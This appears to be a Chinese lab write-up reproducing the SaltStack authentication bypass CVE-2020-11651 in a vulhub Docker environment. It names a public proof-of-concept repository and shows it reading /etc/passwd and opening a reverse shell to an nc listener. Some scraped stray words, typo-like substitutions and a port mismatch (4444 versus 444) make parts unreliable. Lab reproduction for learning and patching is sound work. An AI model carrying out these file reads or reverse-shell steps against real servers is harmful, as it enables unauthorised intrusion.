SaltStack认证绕过复现(CVE-2020-11651)

0x01简介

Saltstack是一个服务器基础架构集中化管理平台,具有配置管理、远程执行、监控等功能,能够理解为简化版的puppet,它基于python语言实现,结合轻量级消息队列(ZeroMQ)与python第三方模块构建。具有如下特色:
部署简单、方便
支持大部分UNIX/Linux及Windows环境
主从集中化管理
配置简单、功能强大、扩展性强
主控端和被控制端基于证书认证,安全可靠
支持API及自定义模块,可经过python轻松扩展
SaltStack认证绕过复现(CVE-2020-11651)python

0x02漏洞简介

在 CVE-2020-11651 认证绕过漏洞中,攻机者经过构造恶意请求,能够绕过 Salt Master 的验证逻辑,调用相关未受权函数功能,从而能够形成远程命令执行漏洞:
漏洞由ClearFuncs类引发,该类无心中暴露了_send_pub()和_prep_auth_info()方法。未经身份验证的远程攻机者经过发送特制的请求可在minion端服务器上执行任意命令,还可以提取根密钥来调用master端服务器上的管理命令。git

0x03影响版本

SaltStack < 2019.2.4
SaltStack < 3000.2github

0x04环境搭建

在这里就直接使用vulhub进行搭建
1.下载地址:git clone https://github.com/vulhub/vulhub.git
2.cd /vulhub/saltstack/CVE-2020-11651/
进去文件夹后,执行以下命令启动一个SaltStack Master服务:
docker-compose up -d
SaltStack认证绕过复现(CVE-2020-11651)
使用docker ps查看环境是否启动
SaltStack认证绕过复现(CVE-2020-11651)docker

0x05漏洞复现

小受:192.168.10.147
小攻:192.168.10.240shell

1.下载POC:
git clone https://github.com/heikanet/CVE-2020-11651-CVE-2020-11652-EXP.git
执行poc须要安装salt库
pip3 install salt
SaltStack认证绕过复现(CVE-2020-11651)
2.使用poc读取文件python3 CVE-2020-11651.py,给上目标ip后读取文件/etc/passwd文件
SaltStack认证绕过复现(CVE-2020-11651)
3.在小攻执行nc监听nc -lvnp 4444,而后选择4反弹shell,输入ip和监听的端口
192.168.10.240
444
SaltStack认证绕过复现(CVE-2020-11651)安全

0x06修复建议

SaltStack官方已发布最新版本修复了上述漏洞,建议相关用户及时更新规避风险。服务器

免责申明
本项目仅进行信息搜集,漏洞探测工做,无漏洞利用、***性行为,发文初衷为仅为方便安全人员对受权项目完成测试工做和学习交流使用。
请使用者遵照当地相关法律,勿用于非受权测试,勿用于非受权测试,勿用于非受权测试(重要的事情说三遍),如做他用所承受的法律责任一律与做者无关!!!架构